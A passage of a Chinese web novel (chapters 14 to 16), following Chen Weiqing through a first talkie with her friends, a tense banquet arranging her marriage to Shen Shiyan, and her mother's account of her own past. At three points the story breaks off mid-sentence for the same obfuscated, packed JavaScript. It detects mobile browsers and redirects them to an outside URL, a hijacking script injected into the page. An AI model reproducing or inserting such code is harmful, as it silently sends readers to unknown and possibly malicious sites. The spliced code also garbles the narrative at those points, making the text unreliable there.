“不行。”他说得很轻，“那是你们的东西，不是我的。” 他的语气并不冷淡，甚至有点温柔，可是拒绝的意味却无比清晰。 “你是不是觉得我们这些个东西，其实都是做不成的？” “不，我觉得至少你们做得比我那时好太多。” “我可以帮你，但我不能加入你们。”他放下勺子，像是怕她误会，补了一句，“那是你们年轻人的世界。我已经……走不了那么快了。” 糖水已经快凉了，碗沿泛起薄薄一层糖膜。 陈蔚青看着他，像是还有好多话没说出口。可最终她只是点了点头：“那……你周末什么时候有空？” “你挑吧。”他站起身，把椅子轻轻往回推，“反正我现在……也不是什么抢手的人了。” 他朝她微微一笑，身影像是和很多年前那个初来陈家的“梁老师”重合在了一起。 “那就……周六下午吧？”她也站了起来，声音轻得几乎被风吹散，“我来找你。” “好。” 铺子门外的黑市已经安静下来，只有几盏昏黄的灯还亮着。他们一前一后走出糖水铺，那条街还是那条街，可脚步声听起来却比上次更踏实了一些。 14. Wenn ich tanzen 陈蔚青趴在锅炉房的桌子上，桌面已经被擦得发亮。窗外风吹着枯叶在铁皮屋檐上飒飒作响，她的铅笔头却迟迟停在空白纸上。 “命题清晰。”她低声重复着梁悯初的说过的话，“不能模棱两可，也不能感情用事。” 她写下第一句，又划掉。写了第二句，又擦掉。最终，她在纸上郑重地写下：“如果服从是错的，那不服从就一定是对的吗？” 写完她就停住了，盯着那一行字，仿佛盯着镜子里的自己。逻辑代数并不允许犹豫，可她犹豫了许久。 这个问题她不是第一次问自己，但这是第一次，用逻辑的方式问出口。 她在纸下画了两个格子，一边写上“是”，一边写上“否”。 铅笔头在“否”上轻轻一点，又停下。 那是自然，这是逻辑，是数学，是不容置疑的。 “服从是错的”的否命题是“不服从是不错的”，也就是“不服从一定是对的”。 但可惜真命题的否命题不一定是真命题。 她忽然觉得这不像是在解一道逻辑题，更像是在押一场赌注。 她手指还搭在纸上，耳边却传来“沙沙沙”的声音。她抬起头，发现不远处，罗简正趴在一块空着的卡纸板上写东西。她身子半伏着，舌尖还顶着嘴角，像是在给每一个字都加上点力气。 “你在写什么？”陈蔚青有些好奇。 “没什么！”罗简“唰”地把那张纸往怀里一揣，眼睛一瞪，像只被抓住偷吃糖的小猫。 “让我看看嘛。”蔚青伸出手。 “真的没什么啦！”她脸颊一红，又悄悄往后藏，纸边却露出一小行歪歪斜斜的铅笔字。 陈蔚青笑了笑，轻轻一拉，罗简没拦住，只好垂着脑袋任她抽走那张纸。 纸张上是几段零碎的句子，字不工整，标点混乱，有些字还一看就知道是生拼硬造，但那种认真劲却从歪歪扭扭的笔划里透了出来。 她写的是码头边的一个女人。每天早晨天还没亮，就提着竹篮子和破桶，赤着脚踩着湿滑的青石板下来洗衣服。她总爱唱歌，不是那种戏曲，没人知道那是什么，或许是她自己写的呢，歌曲的尾巴拖得长长的，像是不愿意结束。 有一回冬天看到那女人蹲在水边，脚已经冻得通红，鞋子却没脱，裤脚浸着水。她说她原本想叫她回去歇歇，可她唱得太入神，像是忘了这个冬天是给人冷的，忘了水是给人疼的。 “多冷的天呐，像刀子一样。” “还好咯，我听说往北边走啊，冬天会下雪，跟人一样厚呢。” “大娘，你见过雪吗？” “没有，但应该是白色的吧。” 她写她有次在码头角落睡午觉，迷迷糊糊地听到那女人唱到一半停下，远远地传来别人口气粗的喊声：“阿珠——饭呢！”然后歌声就没了。她从石头缝里抬头看过去，只看到那女人把衣服一裹，飞快地往家走，走几步又回头看河水，像是怕有人偷了她洗到一半的褂子。那女人手上的皱纹像麻绳，唱歌的时候总是笑，笑得嘴角往下垂。她从来没听清那女人唱的是什么，但就是好听，直到现在，她还是会在梦里听到那首歌。 “你这篇，写得真挺好。”陈蔚青轻声说。 “你别笑我啊！”罗简抱着头，“我就瞎写写，反正你说以后要写文章嘛，我就想试试。” “我为什么要笑你？”蔚青拍拍她，“这比我第一次写的还好。” “真的？” “真的。”她认真地点头，“你这篇，我要给婉芝看。说不定，下期的报纸上就能登出来。” 罗简嘴张得大大的，最后狠狠地点了点头：“嗯！” “那么感人？”沈时砚在角落悠悠地开口，手上还在摆弄着他的继电器，“那我也写一篇，题目叫《命题逻辑分析》，附带三页数学证明，怎么样？” “滚。”陈蔚青和罗简几乎异口同声。 就在这时，锅炉房门被猛地推开，风卷着几张废纸飘了进来，黎婉芝穿着一件浅米色短外套，风风火火地冲了进来，手上举着一张泛黄的宣传单。 “走啦走啦！电影院今天放新片！”她边喘气边挥舞着纸，“派拉蒙的新片，听说是有声片，老黎说那唱歌的人像是在耳边唱的——要不要听听？” “有声片？”罗简一瞬间坐直了，眼睛亮得像猫看见灯，“什么意思？真的人说话吗？” “当然是！”婉芝得意地一挥手，“在明珠电影院，今天晚上六点，赶得上！我刚和售票的说好了，有三张票。” “哎你怎么就准备了三张？”蔚青狐疑地看她。 “当然是给你、我、还有我们的小作家。”婉芝笑眯眯地看向罗简。 沈时砚在角落咳了一声：“好歹我也出过力啊，电影不给我看？” 罗炽南也在角落咳嗽了一声：“咳咳，我就不用了，给我妹妹带回来就行。” “等你写完你的逻辑分析，我们请你看《论人类不平等的起源与基础》。”婉芝翻了个白眼，把宣传单甩进他怀里，又转头对罗炽南说，“抱歉忘记你了南哥，咱们看浪漫爱情故事也不好意思带着你们是吧，反正你放心好了！一定会把你妹妹全须全尾地带回来给你的。” 天色将暮，三人有说有笑地从锅炉房里走出去，一路经过码头旧街，走过昏黄灯火和小贩摊前的汽水箱。明珠电影院的门口已站了不少人，穿长衫的、穿西装的、还有穿洋裙的太太。灯牌上的片名写着《茜茜与皇冠》，灯泡一闪一闪地亮，像是要把整座城市照进新的时代。 “哇……”罗简仰着头看那幕布一样的灯箱，“第一次看电影哎……” “而且是第一次听见电影会说话。”婉芝搂住她。 “那我该穿得隆重点……”她悄悄拉拉自己的工装裤。 “没关系，我们就是来见见世界的。”陈蔚青站在她另一边，语气轻柔，却带着坚定，“反正我们已经在写它了。” 电影院大门缓缓打开，柔和的光从门缝中泄出来，映在三人脸上——那是少女最明亮、最满怀期待的表情，如夜色中最早亮起的三盏灯。 电影厅的灯缓缓熄灭，荧幕前一瞬间漆黑无声。 罗简紧紧攥着椅子的边缘，眼睛睁得比灯泡还大。黎婉芝靠在她旁边，嘴里嚼着半化的硬糖，眼神里却早就亮晶晶的，像是比谁都知道接下来会发生什么。陈蔚青坐在最边上，裙角整整齐齐地收好，手里还攥着那张被折过几次的票根。 银幕亮起来的时候，是一点微光在黑暗里挣扎，然后一下子炸开，像天花板裂出一道缝，从里面灌下了另一个世界的光。 有声片开始了。 屏幕上，一个女人——那是主角茜茜公主，她在奔跑，她的裙角扬起，嘴巴张开，竟真的发出了声音。 不是字幕，不是讲解，是——她在说话，她在唱歌。 罗简像被电到了一样，整个人往前倾了半寸。 她眼睛睁得极大，嘴唇轻微张开，好像怕惊扰了什么圣物。 “哇……”她低低吐出这声，几乎不是在说话，而是惊叹。 电影是黑白的，画面不算清晰，声音里带着老式留声机的沙沙响。主角茜茜公主第一次骑马出场时，她头发在风中飞舞，眼睛亮得像星星，一句“我不想嫁人，我想去环游世界”，就让全场悄悄安静了一瞬。 她不是那种规规矩矩的公主，她会偷跑出去爬树，躲在厨房帮厨子做点心。她第一次见到皇帝时正穿着一身不合规矩的猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502448|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装，头发还乱着，脸上是被阳光晒红的热度。可她却毫不怯场地说：“我是我父亲的女儿，不是王冠的附属。” “这台词真漂亮……”黎婉芝小声赞叹。 陈蔚青心里轻轻一动。 电影后半段，茜茜嫁给了皇帝，却在礼仪、宫规和女人的敌意中渐渐失语。她看着镜中被打理得无可挑剔的自己，轻声说：“我变得连我自己都不认识了。”然后独自一人离开了宫廷，去了海边。 镜头拍下她在海边骑马、在山上读书，在一间开满牵牛花的小屋里独自生活。直到某天皇帝来找她，说：“我需要的是你，不是一个完美的皇后。” “可我不再知道，我是谁了。”茜茜说。 电影的最后，她还是回到了维也纳，坐在王座边，却闭上了眼睛，像是困倦了很久。 电影就这样在她在王座上的打盹里结束了。” 灯光亮起。 电影院一时静默。三人都没有说话，像是被这场黑白梦缠了一整晚，谁也没先醒过来。 “你们说……”罗简先开口，声音有点哑，“她开心吗？” “她自由吗？”黎婉芝说。 “她是她自己吗？”陈蔚青问。 然后三人对视了一眼，忽然笑了。 “唉……”婉芝伸个懒腰，“南州的三个平凡女子，操着公主的心。蔚青你想想得了，我费个什么劲。” “但你不觉得……”蔚青慢慢说，“她其实是我们都想过的那种人吗？反叛一点、聪明一点、不太妥协……但最后还是回去了。” 三人走出影院，风吹起街上的灯光，脚边是汽水瓶滚落的声音。外头街灯还亮着，街上人影稀落，三人一言不发地走了一段路，才在路口一起笑了起来。 南州街头的灯光不像北方城市那样明亮，却也足够照出人影。几家杂货铺还没打烊，街角传来卖糖人的吆喝声。风吹过明珠电影院的门帘，扬起一缕缕刚刚被电影熏热的回忆。 “她真美啊……”罗简一边走一边念叨，仿佛还沉在电影里，“那个海边的镜头，我都想哭了。” “你是羡慕她的裙子，还是她那匹白马？”黎婉芝打趣她。 “是她那句‘我变得连我自己都不认识了’。”罗简小声说。她的声音有些迟疑，像是怕自己太过认真了。 三人走到旧城区的小巷口，月亮从云层里探出头来，昏黄的街灯下，她们的影子拉得老长。 忽然，罗简像是心血来潮，轻轻哼起了刚才电影里反复出现的一首旋律。 那是一句德语的歌，调子柔柔的，像是穿过维也纳的风。她不会德语，只是在模仿她的发音，词也记得不全，调子甚至有点走音，可唱得极认真，眼睛望着月亮，像是要把整个梦留住。 陈蔚青和黎婉芝都停住了脚步。 月光落在她们身上，白色的、薄薄的，像洒了一层旧时代的银粉。 罗简唱到一半，又抬头看月亮，仿佛她的声音是要给谁听的。 陈蔚青低声说：“……简直跟电影里面一模一样。” 罗简一愣，回头看她，脸上浮现一点茫然的笑：“是吗？” “是真的。”黎婉芝走上前去，伸手抱住她的肩，像是忽然被触动了什么，“阿简，以后你一定要演电影。” “我？”罗简愣住。 “当然！你之前不是说了吗，你想演，而且你可以的！”婉芝盯着她看，“那就够了。” 她们就这样走在路灯与月光交错的街道上，像三根并肩燃烧的火柴。光亮很小，却足够照亮脚下的石板路。 陈蔚青忽然想到，如果有一天罗简真的出现在银幕上，她一定还记得这个夜晚——那个旧街口、电影院门口、电影刚放完的夜晚。 15. 地狱也有其法则 “我还是觉得你该去看看。”唐敬微坐在铜镜前，一边拨弄着鬓边的发丝，一边说。 陈蔚青没有答话，只是站在她身后，替她拎着那件银灰色的旗袍，布料轻薄柔滑，像是水中捞起的月光。她手指抚过旗袍的花边，心却在想着另一个地方。 “沈家的老夫人病了，沈太太从南京赶回来，眼下肯定要见见你这个‘未来的小儿媳’。”唐敬微语气不重，语气却像是温水里的石子，一点一点沉到底。 “我又没说要嫁过去。”陈蔚青低声。 “你没说，但你也没否认。”唐敬微回头看她一眼，眼里那种半温柔半锐利的审视，让人喘不过气，“怎么，他当时不是你挑的男伴？” 外面天色还早，院子里的桂花已经落了一地，风吹来时，有几朵贴在窗纸上，仿佛一只只不愿离去的旧梦。 “你从前不是说过吗，女人要有自己的声音？”唐敬微轻轻笑了一声，“沈家要你，沈公子喜欢你，作为陈家小姐足够举足轻重，你不说话，他们也会听到你的声音。” 她没有等女儿回答，只是接过旗袍，自顾自穿上。镜子里映出母女两人的影子，一前一后，一个沉静，一个彷徨。 蔚青忽然低声说：“宣之于口的，真的都是我的声音吗？” 唐敬微穿好衣服，又换了双耳坠。她不看镜子，只看女儿，没有回答她的问题：“你别总一副心不在焉的样子，今天是给你脸面。你要是不去，不止我没面子，陈家其他旁支也要说闲话。” “我和沈时砚其实……没那回事。”陈蔚青终于忍不住了，低声反驳。 “有没有那回事，不是你说了算的，也不重要。”唐敬微转身，那声音像是藏着鞭子的丝绒，“你去宴会上站一站，不欠你什么。你今天不去，明天你爹就要亲自来请你了。” 陈蔚青深吸一口气，没有再说话。 母亲和她坐上了汽车，父亲早已经坐在副驾驶了。见她们上来，他挥了挥手，示意司机启动。 车开了一会，在一家富丽堂皇的西式餐厅前停了下来。门前停着几辆南州难得一见的私家车，门童西装笔挺，站得笔直，像一道暗示着权力等级的门槛。 她们三人走进去，陈蔚青从一进门起就觉得冷。 不是天冷，屋里的炉子烧得正旺，紫檀木桌面被烘得温热，长桌正中还摆着刚煲好的参汤，香气缭绕。但她仍觉得冷，像是从骨头缝里升起的一股寒意。 这不是一次普通的宴会，而是一场会谈——两家的会谈。整家餐厅都被包下，所有客人都被清走，西式的厅堂里却摆满了传统中式器具。横摆着一张老紫檀长桌，桌沿雕着一簇簇莲花，美丽且虚假，地砖是广式嵌花。长桌一侧坐着沈家人，一侧坐着陈家人，正中坐着沈家老夫人和陈蔚青的外祖母，身后各站着几位神情肃穆的佣人。 陈蔚青坐在长桌最末尾，沈时砚就在她身旁。他们像是被搁置在棋盘角落的两枚棋子，外表沉静，实则无从选择。 “南市第三码头的调拨权，贵方若是愿意放手一成，我们自然可以在通关上网开一面。”沈家二叔温吞地说，声音里却带着分毫不让的精明算计。 陈家老二陈叔云冷哼一声：“港口的流转你们占了七成，还要我们让一成？沈二爷怕不是忘了去年东区铁道是谁出的本？” 一时之间，空气像凝固了一样。连汤壶里的烟都绕得更慢，桌面仿佛响起了什么无法言说的“滴答”声。 “先不谈这个，伤了和气。”主位上的沈老夫人忽然开口，她声音不大，却沉稳如钟，“年轻人的婚事，定得怎么样了？” 顿时，所有目光都移向了桌角。 陈蔚青的指尖顿时一紧，几乎能听见自己掌心里渗出的汗珠滚落。沈时砚坐得更直了些，他穿着深灰长衫，领口扣得整整齐齐，斯文得体，倒像是一个清清白白的旁观者。 “我觉得——”他终于开口，声音平静得像一杯放凉的清茶，“这些事长辈们做主，我们晚辈听就是。” 话音落下的那一瞬，蔚青只觉得五雷轰顶。 他怎么可以这样说？这不过是一场演戏，他怎么就真的把决定权交了出去？那是他们的“假戏”，现在却像是真要成了别人写的戏文。她只觉得脑子里“嗡”的一声，突突地疼，好像什么声音都听不见了，只剩下空气中的低压与自己的心跳。 “大哥的婚事有什么用？”沈老太太身边的沈时墨忽然开口，声音清亮又带着少年人的冲撞，“他一心想着去北平谋个大学里的差事好分家呢，分了家还不知道是不是沈家人。” “沈时墨！”沈父沈则谦沉声喝住，“你怎么说你大哥的！” “好了好了……”沈老太太抬手止住，“时墨也不是有意的，童言无忌。时砚，你也别介意，他还小。” 蔚青耳朵发热，视野像在收紧，仿佛连空气都要塌下来。她觉得自己必须离开——哪怕只是一小会儿也好。 她绞尽脑汁，英文不行，至少她的父母都听得懂。那……或许……她只学过一点点，只是在梁老师讲到歌德的浮士德的时候偷偷记下来的。但或许，或许真的可以—— 诱惑浮士德的魔鬼梅菲斯特说：“地狱本身也有法则。倒是妙极了，如此便能立契约，与诸位大人，你们这些先生，妥善达成？” 她忽然伸手握住沈时砚的手，低声、急促地说了一句：“DieHoelleselbsthatihreRechte.” 地狱本身也有其法则——都是合约、交易。 沈时砚微微一愣，转头看她。她怕他没听明白，正想着怎么换个方式再说一遍，却见他站起来，动作不快却坚定，手还扶着她的手臂：“抱歉，蔚青说她不舒服，我们出去一下。” 两人站起身，动作像是被编排好的舞步，整齐、体面，没人阻拦。他们从众目睽睽中走出去，像是推开了这间密不透风的大厅的一扇窗。 空气扑面而来，那才是真正的冷，却让人呼吸得更顺了。 夜风扑面，街道上只剩下零星的车灯和几声晚归电车的“叮铃”。陈蔚青一路沉默，直到走出餐厅正门那段铺着碎石的台阶，在半盏路灯下，她终于停下脚步。 她转身看他，眼睛在昏黄灯光下微微泛着湿意，声音却格外清楚：“刚才你为什么就那样把决定权交出去了？” 沈时砚垂着眼，没立刻说话。半晌，他才轻声答：“我……不知道，我只是觉得，他们好像都很满意。” “你跟我说——”陈蔚青像是被点燃了情绪，猛地提高声音，“你因为他们满意，就答应了下来！？” 风吹过她耳边，她的语速却丝毫没减，语气一寸寸地咄咄逼人：“他们不满意你搞你的计算机器，你就不做了？他们不满意你去北平当老师，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502449|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不去了！？那你到底在坚持什么？” 沈时砚急忙摇了摇头：“我不是这个意思。” “那是什么意思？”她逼视着他，一字一顿。 他终于抬起头，眼里却没有辩解，只有一种被触碰到的温柔痛楚：“……我只是觉得，我母亲很满意。” 他说这话时，嘴角甚至还带着一点难以察觉的苦涩笑意，像是习惯了努力去取悦一个人，却突然真的取悦成功了的迷惘。 陈蔚青一时没听懂：“你说……姚夫人？她不是那种——” “她是。”沈时砚低低地说，打断了她，“她就是那种‘新女性’。她年少时离家出走，讲独立、讲救国、讲新文化新社会男女平等……她不是会逼我成家立业、光耀门楣的那种人。” 他说着，却露出一丝讽刺般的笑意：“但她也从来没满意过我。” 风吹乱了他鬓角的头发，他轻轻吸了一口气，又慢慢吐出来。 “直到我跟她提起你。”他看着她，眼神忽然变得很深，“我说你聪明，博学，对什么都好奇；你会动手，会教别人识字，会写文章，还会争一口气。她听着听着，眼神变了……那是她第一次，看我的眼神里，好像不是失望。” 陈蔚青像是忽然被风拍了一下，站在那儿，一时说不出话。 陈蔚青低声问：“怎么会……？她……我以为她是……” 她本想说：“我以为她是我理想中的完美母亲”，但话卡在喉咙里。她望着夜色中沈时砚的侧脸，却忽然说不出这句赞美的话来。 沈时砚垂着眼，声音很轻，却不像他平时那样温吞，而是近乎机械地念出一段往事。 “她生下我弟弟以后就回娘家了。”他顿了一下，“那年我九岁，我大姐十五岁，我弟弟刚刚出生。” “我度过了九年有母亲陪伴的日子……正好，不长不短。”他说着笑了一下，笑得苦涩，“如果像我大姐那样，整个童年都有她陪着，或许她会变成一个更真实的人，不是那么遥远；或者像我弟弟那样，从一开始就没有，至少……不用期待。” 陈蔚青怔怔地看着他，一时说不出话来。 “我知道她在做很有意义的事。”沈时砚缓缓道，“她回了南京，办慈善学校，研究法律，出版杂志……她的名字出现在不少文章、演讲里。是南方最早支持女学生留洋的几位之一。” “她给别人的女儿奖学金，给贫民的孩子课本……就是没有空，给自己的儿子讲一篇课文。”他轻声道。 风从街角绕过来，带着一点桂花香味。可沈时砚的语气却淡得像是沉在水底。 “她是我最早见过的‘新女性’，独立、自主、讲道理……但她也从不看我画的电路图，也从不参加我的升学典礼。” “有时候我在想，是不是我做得还不够。是不是只要我再好一点，她就会满意。” 他慢慢抬起头，眼神有些疲惫，却不再是少年那种逃避的懦弱，而是一种终于认清了的疲倦。 “那天她听我说起你，她居然笑了……她说，‘这样聪明又肯钻研的女孩子可不多，你以后要好好扶持她。’” “你知道她从来没说过类似的话。”他说，“所以，我就……想留下那点东西。” 他转头看向她，语气缓慢：“我知道，这不该是你来承担的。” “你脑子有问题吧？” 16. 母亲、母亲 沈时砚的话音刚落，夜风中忽然传来一句刺耳的话：“你脑子有问题吧？” 两人猛地转头，就见沈时墨一手插着高级西装的口袋，一手晃着一枝不知从哪儿折来的细树枝，站在他们身后，完全没有了刚刚长桌上那个贵公子的模样，昂贵的西装给他穿出了一种随性。他脸上挂着满脸“真无语了”的表情。 “你怎么——”沈时砚差点跳起来，“你在后面多久了？” “你们一出门我就跟出来啦。”沈时墨理直气壮地说，“一看你俩那表情就知道准没好事，结果一听，还真是没好事。” 他瞥了他哥一眼，又瞥一眼陈蔚青，耸耸肩：“不好意思啊蔚青姐，之前你们在密谋‘假情侣’的时候，我就在外面偷听了。”他说得轻描淡写，像是说自己在院子里逮了只猫，“虽然偷听是我不对，但我也帮了你一把，我们算是扯平了。” “我一看哥好像要假戏真做，你都吓傻了，还愣着。我不出来救你，难不成看他一头栽进坑里？” 沈时砚脸色发白，像是词汇突然全部失效了，站在原地结结巴巴：“我……我不是……我没……你——” “你什么你。”沈时墨毫不客气地打断他，“你就因为妈说了两句好话，就要把蔚青姐拉下水？你以为自己是献身革命呢？母亲要知道你这点算盘，她得羞愧而死啊。” 陈蔚青“扑哧”一声，忍不住笑出来，又有些歉意地说：“那你刚才在餐桌上那么失礼……没事吗？” “应该会被爹训一顿吧。”沈时墨抖抖肩，“但老太太疼我，不会出大问题。” 他眨了眨眼，又轻轻敲了敲沈时砚的额头：“哥你听好了，我骂你那几句，老太太和父亲都听见了。他们肯定会重新考虑这段联姻，至少……不会那么关注了。” “你要自由，我替你掀了桌子；你要成亲，我也不拦你——但下次别拖人下水了，好吗？”他撇撇嘴。 “好的。”沈时砚愣愣地回答，不知道谁才是兄谁才是弟。 风又起了，吹得树叶沙沙响，夜色中三人静了一会。 然后沈时墨一拍手，像个打完仗就打算走人的士兵：“行啦，我说完了，我回去了，回去看我会不会被爹追着念三页《大学》。你们要搞罗曼蒂克，记得搞清楚是真的还是假的，别回头我又得替你们收拾烂摊子。” 他转身走了几步，忽然又回头喊了一句：“蔚青姐，虽然我哥这次把事情搞得一团糟，但他还是个很好的人——很好的哥哥，你相信我。” 晚宴散了，两家人各自散去，陈蔚青和父母回到车行在夜路上，路边的小摊贩点起的煤油灯打车窗上，一明一灭。南州市也像散了场，万物都藏进了夜色的褶皱里。她想起了一句话，她一直记得的，但一直没懂，直到今天，直到沈时砚的那一番话。 “有时候她比谁都像小孩。” 那位平日只闻其名、从不露面的“姚夫人”，一直是蔚青印象中那种站在远处的女主人：开女学的进步女性、沈家的贤内助、在各种传闻里冷静周全又手段老练的女人。 可在沈时砚的嘴里，她是完全另外一种人：一个有时候像外交官，有时候像个孩子的女人。 会给自己的儿子找借口逃宴会。可能是早就明白什么是“形式”，也早就不屑去演。但她也从来不给孩子们一个满意的眼神，一个鼓励的笑容，因为她从来就不在他们身边。 她想起母亲，在她自己第一次给自己梳头的时候，在她第一次能完整的背下一首诗的时候，在她写出第一篇英语文章的时候，那个满意的笑。 她好久没看见了，以至于差点忘了。 后来母亲就永远站在最中心，衣着得体，说话不疾不徐，像个从不犯错的秤砣，稳稳压在整个家庭和洋行的平衡上。 她有没有可能，不是我想象的那种人。陈蔚青想着。她看了看坐在旁边的母亲，母亲正吹着晚风，手中握着只象牙骨扇，扇骨却未张开，指节微弯，像是拈着什么不肯松手的意念。 车轮在石板路上滚过时发出一声不紧不慢的颠簸声，像谁轻敲了她的心。 蔚青把头靠在窗上，眼神追着窗外一盏盏街灯的残影。宴会结束已有一段时间了，可那些交谈、微笑、点头、推杯换盏的声音依然像蛛网似地黏在耳后。 她突然想知道。非常想。 “妈。”她已经多久没用过这个称呼了，这个称呼已经被“母亲”取代了太久。 “我想问你一个问题。”蔚青望着窗外，像是在说给夜色听，“如果你很想做一件事，可你知道，你的家人不会接受。你还会去做吗？” 母亲沉默了。 这个沉默比回答更像一种回应，像是有人突然拂开了一层布，露出下面微微喘息的事物。 她一直以为，母亲会坚定地说：当然不。 但她没想到的是，母亲缓缓开口，声音像凝固在风中：“会。” 夜已经很深了。 陈宅的走廊被壁灯照得幽幽亮，风从外墙那棵老槐树间吹进来，带着微咸的江气。 书房的门虚掩着，蔚青坐在书桌前，手中捏着一支没有墨水的钢笔。她已经坐了很久了，什么都没写，什么都没想，只是盯着桌面那道小小的刮痕出神。 屋子很安静。安静到她能听见自己脑海里残余的风声，还有那句仍未散去的低语： ——“会。” 她反复想着母亲说这句话时的神情，那只是一种已经走过很多风雨的人，终于承认自己曾绕道而行的平静。 “你还没睡？”身后传来一道轻轻的女声。 母亲站在门口，没有穿她惯常的褙子，而是披了件家常的薄绸长衣，头发松松挽着，灯光下看不清表情。 蔚青没有转身，只轻轻“嗯”了一声。 母亲没有多说什么，走进来，在她旁边的藤椅坐下，把手中那把半旧的象牙骨扇轻轻摆在膝上。 两人沉默了好一会儿，只有风吹过窗纸，发出“嗒嗒”的声响，像什么将要揭开。 “你是不是在想，我为什么会那样回答。”母亲终于开口，声音比平常低了许多。 蔚青点点头。 母亲没有立刻继续。她垂下眼帘，像是在过一道很远的门槛。 “我小的时候啊，家里是南街巷子里一户人家，门口种着一棵柚子树，夏天特别热，但柚子叶子多，遮得住光。”她慢慢说道，“我们家不是穷苦到揭不开锅，但也说不上好。娘缝衣服，爹教书，书塾里来来去去都是些街坊邻里的孩子。” “爹倒是认真，整天讲‘立身以立学为先’，总说读书能修身，修身能齐家。他也教我识字，还教我背诗。只是……” 她没有说只是后面的话，可能是找不到一个合适的词。 “我十六岁那年，爹说，有个屠户家来提亲了，说是人勤快、家里有肉吃，还能分几块地。他让我快点答应，他说：‘敬微，这是你几辈子修来的福气啊’。”她笑了一下，笑容像是从喉头逼出来的，“我问他，你讲了一辈子仁义礼智信，到头来要我嫁给一个我从来没见过的人？” “他打了我一耳光，说‘哪个女人不是这样的？就不该教你那么多书，还是得听人说，女子无才便是德……’他骂太难听。我第二天就走了。” 蔚青怔了一下。 “那时候，洋人刚在西码头开了家餐厅，要招会写字的女服务生。我正巧，什么都不会，只会写字。”她轻描淡写地说着，语气平淡得像在讲别人。 “我一开始只能擦桌子，端盘子。有人摸我的手，我还不敢吭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512513|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。”她轻轻叹了一口，“但我只能硬撑，我没有家可以回，我去哪呢？父亲家？还是那个屠户家？我去看他们用什么菜单，听他们讲英语，我也跟着学。”她顿了顿，声音更轻了些，“就是在那里，遇到了你父亲。” “他当时是陈家大少爷，和几个朋友来喝咖啡，笑话我们念得‘tartelette’发音不准。我回嘴了。他好像觉得有意思，又来了几次，就熟了。”母亲——那个叫唐敬微的女人轻轻摩挲着扇骨，“后来他约我出来，说想和我过日子。我是傻子，以为遇上了救星。” “刚开始确实很好。”她望着窗外，“他带我去听剧场的莎士比亚，去北边看玫瑰花开，还给我写情诗。他说他想去英国留学，写小说、研究戏剧。” “我说好。我说你去，我在这里等你。” “可还没来得及走，陈家的老爷子就忽然病倒了。” 她的手指轻轻一抖。 “你父亲慌了。他根本不想当家，整天念王尔德、叶芝，哪知道香料怎么运、账怎么结、关系怎么打？” “他把自己关在书房整整三天，最后来找我。他跪在我膝盖边上哭，说他不知道该怎么办。” 她闭了闭眼：“那天晚上，我第一次觉得，我不能等人来救我了。” “我摸了摸他的头，跟他说，‘你做不好的，就我来。’” “从那以后，陈家所有的账、所有的路，都是我一手撑起来的。” 她站起身，收好那把扇子，轻声道：“睡吧。” 她转身走到门边。 “妈。”陈蔚青忽然叫住她，声音不高，却带着一点难以启齿的执念。 母亲回头看她。 “我真的和沈时砚……没有。”她低声说。 屋里顿了一下。 唐敬敬看着她，眼神没有波动太多，只像是看着一个她早就能预见的答案。 “有没有感情无所谓。”她淡淡道，“主要是沈家能护着你。” “我就你一个女儿。”她缓缓走回来，在门边站定，语气依旧平静，“你知道我生你的时候，血流得整整一盆。我差点死在床上。” “你父亲急疯了。”她轻轻笑了下，“他把他见过的所有中医、西医都请来，家里金条银票一夜花出去一大堆，才勉强把我和你都保了下来。” “可能是因为感情吧。”她的语气一顿，“也可能是他心里清楚——我要是真死了，就没人替他撑起陈家了。他就得自己扛，他扛不住。” “你知道他后来再也不敢让我怀孕了吗？”她轻轻一笑，“不敢。他说他怕再出点事，就两个都没了。” “但老太太不这么想。”她收起了笑，“她一直觉得，你父亲那一房的人早晚要退下去，陈家的家业，要回到你堂哥手里。就是你父亲弟弟的儿子，是老太太的长孙。” 她顿了顿，眼神淡淡地望着蔚青：“我不是不疼你。我是知道，这陈家——没人会因为你姓陈就让着你半分。不想被你堂哥们吃干抹净了，你就得找个好的靠山。” “沈家现在风头正盛，沈太太又念旧。你和沈时砚私交不错，比起让你去嫁个新起的军需商、或者什么不知根底的人——他是最好的选择。”她语气很轻，却字字落地。 “有没有感情不重要。”她轻声说，“你父亲娶我那会，也说过一辈子都只爱我一个。” “但你看——到最后，只能勉强算得上相敬如宾。” 她看了她一眼，眼神里没有责备，也没有强求，只有一种冷静至极的提醒。 “我不拦你，也不逼你。但你自己要想清楚了。” 说完，她转身走出门去，背影在门框投下斜长的一道影子，夜风将那影子吹得轻轻摇晃，像她的扇子在风里轻轻颤动。 17. 永丰纱厂 